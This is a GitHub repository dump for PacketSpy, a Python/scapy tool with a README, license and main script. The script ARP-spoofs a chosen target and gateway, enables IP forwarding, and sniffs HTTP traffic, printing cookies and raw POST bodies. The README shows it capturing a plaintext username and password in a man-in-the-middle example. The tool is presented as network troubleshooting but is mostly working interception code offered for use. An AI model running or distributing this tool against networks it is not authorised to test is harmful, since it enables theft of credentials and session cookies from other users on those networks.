├── LICENSE ├── Readme.md ├── img └── packetspy.png ├── packetspy.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Halil Ibrahim Deniz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # PacketSpy 2 | 3 | 4 | 5 | ## Description 6 | PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively. 7 | 8 |

9 |
10 | Buy Me A Coffee 11 |

12 | 13 | ## Features 14 | - **Packet Capture**: Capture and analyze network packets in real-time. 15 | - **HTTP Inspection**: Inspect HTTP requests and responses for detailed analysis. 16 | - **Raw Payload Viewing**: View raw payload data for deeper investigation. 17 | - **Device Information**: Gather information about network devices, including IP addresses and MAC addresses. 18 | 19 | ## Installation 20 | ``` 21 | git clone https://github.com/HalilDeniz/PacketSpy.git 22 | ``` 23 | 24 | ## Requirements 25 | PacketSpy requires the following dependencies to be installed: 26 | ``` 27 | pip install -r requirements.txt 28 | ``` 29 | 30 | ## Getting Started 31 | To get started with PacketSpy, use the following command-line options: 32 | 33 | ``` 34 | root@denizhalil:/PacketSpy# python3 packetspy.py --help 35 | usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD] 36 | 37 | options: 38 | -h, --help show this help message and exit 39 | -t TARGET_IP, --target TARGET_IP 40 | Target IP address 41 | -g GATEWAY_IP, --gateway GATEWAY_IP 42 | Gateway IP address 43 | -i INTERFACE, --interface INTERFACE 44 | Interface name 45 | -tf TARGET_FIND, --targetfind TARGET_FIND 46 | Target IP range to find 47 | --ip-forward, -if Enable packet forwarding 48 | -m METHOD, --method METHOD 49 | Limit sniffing to a specific HTTP method 50 | ``` 51 | 52 | ## Examples 53 | 1. Device Detection 54 | ``` 55 | root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0 56 | 57 | Device discovery 58 | ************************************** 59 | Ip Address Mac Address 60 | ************************************** 61 | 10.0.2.1 52:54:00:12:35:00 62 | 10.0.2.2 52:54:00:12:35:00 63 | 10.0.2.3 08:00:27:78:66:95 64 | 10.0.2.11 08:00:27:65:96:cd 65 | 10.0.2.12 08:00:27:2f:64:fe 66 | 67 | ``` 68 | 2. Man-in-the-Middle Sniffing 69 | ``` 70 | root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0 71 | ******************* started sniff ******************* 72 | 73 | HTTP Request: 74 | Method: b'POST' 75 | Host: b'testphp.vulnweb.com' 76 | Path: b'/userinfo.php' 77 | Source IP: 10.0.2.20 78 | Source MAC: 08:00:27:04:e8:82 79 | Protocol: HTTP 80 | User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0' 81 | 82 | Raw Payload: 83 | b'uname=admin&pass=mysecretpassword' 84 | 85 | HTTP Response: 86 | Status Code: b'302' 87 | Content Type: b'text/html; charset=UTF-8' 88 | -------------------------------------------------- 89 | ``` 90 | ## FootNote 91 | Https work still in progress 92 | 93 | ## Contributing 94 | Contributions are welcome! To contribute to PacketSpy, follow these steps: 95 | 1. Fork the repository. 96 | 2. Create a new branch for your feature or bug fix. 97 | 3. Make your changes and commit them. 98 | 4. Push your changes to your forked repository. 99 | 5. Open a pull request in the main repository. 100 | 101 | ## Contact 102 | If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me: 103 | - LinkedIn: [LinkedIn](https://www.linkedin.com/in/halil-ibrahim-deniz/) 104 | - TryHackMe: [TryHackMe](https://tryhackme.com/p/halilovic) 105 | - Instagram: [Instagram](https://www.instagram.com/deniz.halil333/) 106 | - YouTube: [YouTube](https://www.youtube.com/c/HalilDeniz) 107 | - Email: halildeniz313@gmail.com 108 | 109 | ## License 110 | PacketSpy is released under the MIT License. See [LICENSE](https://github.com/HalilDeniz/PacketSpy/blob/main/LICENSE) for more information. 111 | -------------------------------------------------------------------------------- /img/packetspy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/PacketSpy/9e5218a4a11ee04e9ed850456bcff602fd2eaee8/img/packetspy.png -------------------------------------------------------------------------------- /packetspy.py: -------------------------------------------------------------------------------- 1 | import scapy.all as scapy 2 | import scapy.layers.http as http 3 | from scapy.all import ARP, Ether, srp 4 | import sys 5 | import argparse 6 | from rich import print 7 | from rich.console import Console 8 | from rich.table import Table 9 | import os 10 | 11 | console = Console() 12 | 13 | def get_mac(ip): 14 | arp_request = scapy.ARP(pdst=ip) 15 | broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") 16 | arp_request_broadcast = broadcast / arp_request 17 | answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] 18 | 19 | if answered_list: 20 | return answered_list[0][1].hwsrc 21 | else: 22 | return None 23 | 24 | 25 | def arp_spoof(target_ip, spoof_ip): 26 | target_mac = get_mac(target_ip) 27 | if target_mac is None: 28 | print(f"[bold red]Error:[/] Could not find MAC address for target IP: {target_ip}") 29 | sys.exit(1) 30 | 31 | packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) 32 | scapy.send(packet, verbose=False) 33 | 34 | 35 | 36 | def forward_packet(packet, target_ip, gateway_ip): 37 | # Hedef IP ve Gateway IP'ye yönlendirme 38 | if packet[scapy.IP].src == target_ip: 39 | packet[scapy.IP].dst = gateway_ip 40 | elif packet[scapy.IP].dst == gateway_ip: 41 | packet[scapy.IP].dst = target_ip 42 | scapy.send(packet, verbose=False) 43 | 44 | def sniff_packets(interface, target_ip, gateway_ip, method=None): 45 | try: 46 | scapy.sniff(iface=interface, store=False, prn=lambda packet: process_packet(packet, target_ip, gateway_ip, method)) 47 | except OSError as e: 48 | print(f"[bold red]Error:[/] {e}") 49 | sys.exit(1) 50 | 51 | def process_packet(packet, target_ip, gateway_ip, method=None): 52 | if packet.haslayer(http.HTTPRequest): 53 | request = packet[http.HTTPRequest] 54 | 55 | # IP adresi ve MAC adresini al 56 | ip = packet[scapy.IP].src 57 | mac = packet[scapy.Ether].src 58 | 59 | if method and request.Method.decode() != method: 60 | return 61 | 62 | print("\n[bold blue]HTTP Request:") 63 | print(f" Method: [green]{request.Method}[/green]") 64 | print(f" Host: [green]{request.Host}[/green]") 65 | print(f" Path: [green]{request.Path}[/green]") 66 | print(f" Source IP: [green]{ip}[/green]") 67 | print(f" Source MAC: [green]{mac}[/green]") 68 | if request.Path.startswith(b"https"): 69 | print(f" Protocol: [green]HTTPS[/green]") 70 | else: 71 | print(f" Protocol: [green]HTTP[/green]") 72 | 73 | if request.Cookie: 74 | print(f" Cookie: [green]{request.Cookie}[/green]") 75 | 76 | if request.User_Agent: 77 | print(f" User-Agent: [green]{request.User_Agent}[/green]") 78 | if packet.haslayer(scapy.Raw): 79 | print("\n[bold red]Raw Payload:") 80 | payload = packet[scapy.Raw].load 81 | print(f"[red]{payload}[/red]") 82 | 83 | if packet.haslayer(http.HTTPResponse): 84 | response = packet[http.HTTPResponse] 85 | 86 | print("\n[bold blue]HTTP Response:") 87 | print(f" Status Code: [green]{response.Status_Code}[/green]") 88 | print(f" Content Type: [green]{response.Content_Type}[/green]") 89 | print("\n" + "-"*90) 90 | 91 | 92 | def scan(target, iface): 93 | arp = ARP(pdst=target) 94 | ether = Ether(dst="ff:ff:ff:ff:ff:ff") 95 | packet = ether / arp 96 | try: 97 | result = srp(packet, timeout=3, verbose=0, iface=iface)[0] 98 | except PermissionError: 99 | print("[bold red]Error:[/] You do not have sufficient privileges. Try running the program with 'sudo'.") 100 | exit() 101 | except OSError as e: 102 | if "No such device" in str(e): 103 | print(f"[bold red]Error:[/] Interface '{iface}' does not exist. \nPlease provide a valid interface name.") 104 | exit() 105 | else: 106 | raise 107 | 108 | devices = [] 109 | for sent, received in result: 110 | devices.append({'ip': received.psrc, 'mac': received.hwsrc}) 111 | 112 | return devices 113 | 114 | 115 | def main(): 116 | parser = argparse.ArgumentParser() 117 | parser.add_argument("-t", "--target", dest="target_ip", help="Target IP address") 118 | parser.add_argument("-g", "--gateway", dest="gateway_ip", help="Gateway IP address") 119 | parser.add_argument("-i", "--interface", dest="interface", help="Interface name") 120 | parser.add_argument("-tf", "--targetfind", dest="target_find", help="Target IP range to find") 121 | parser.add_argument("--ip-forward", "-if", action="store_true", help="Enable packet forwarding") 122 | parser.add_argument("-m", "--method", dest="method", help="Limit sniffing to a specific HTTP method") 123 | options = parser.parse_args() 124 | 125 | if options.target_find: 126 | ip_list = scan(options.target_find, options.interface) 127 | print("\n[bold green]Device discovery") 128 | print("\n[red]**************************************[/red]") 129 | print("[blue] Ip Address\t Mac Address[/blue]") 130 | print("[red]**************************************[/red]") 131 | for ip in ip_list: 132 | print(f" [green]{ip['ip']}[/green]\t {ip['mac']}") 133 | print() 134 | sys.exit(0) 135 | 136 | if not options.target_ip: 137 | parser.error("[-] Please specify a target IP address using -t or --target.") 138 | if not options.gateway_ip: 139 | parser.error("[-] Please specify a gateway IP address using -g or --gateway.") 140 | if not options.interface: 141 | parser.error("[-] Please specify the interface name using -i or --interface.") 142 | 143 | # Paket yönlendirme özelliğini etkinleştir 144 | if options.ip_forward: 145 | os.system("echo '1' > /proc/sys/net/ipv4/ip_forward") 146 | 147 | return options 148 | 149 | options = main() 150 | target_ip = options.target_ip 151 | gateway_ip = options.gateway_ip 152 | interface = options.interface 153 | method = options.method 154 | 155 | 156 | try: 157 | while True: 158 | arp_spoof(target_ip, gateway_ip) 159 | arp_spoof(gateway_ip, target_ip) 160 | print("******************* started sniff *******************") 161 | sniff_packets(interface, target_ip, gateway_ip, method) 162 | except KeyboardInterrupt: 163 | print("\n[bold green]Detected Ctrl+C. Resetting ARP tables...") 164 | # Yönlendirme tablolarını sıfırla 165 | arp_spoof(gateway_ip, target_ip) 166 | arp_spoof(target_ip, gateway_ip) 167 | sys.exit(0) 168 | print("See you later honey") 169 | 170 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | rich 3 | argparse 4 | ipaddress 5 | --------------------------------------------------------------------------------